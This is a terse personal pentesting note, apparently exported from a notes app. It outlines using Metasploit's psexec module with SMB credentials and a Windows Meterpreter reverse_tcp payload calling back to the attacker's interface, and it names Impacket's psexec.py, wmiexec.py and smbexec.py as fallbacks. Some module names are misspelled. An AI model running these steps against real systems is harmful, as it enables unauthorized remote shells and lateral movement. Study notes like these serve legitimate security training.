psexec

msfconsole:
- search psexec
- options:
  - set rhost/domain/smbuser/smbpassword
- set payload windows/x64/neterpeter/reverse_tcp
- set lhost eth0
- run

pxexec through meterpeter doesnt always work, we can try psexec.py

  ![psexec%20d818d32588314cb68f8ca3db57a6e1ef/Untitled.png](psexec%20d818d32588314cb68f8ca3db57a6e1ef/Untitled.png)

we can also try wmiexec.py or smbexec.py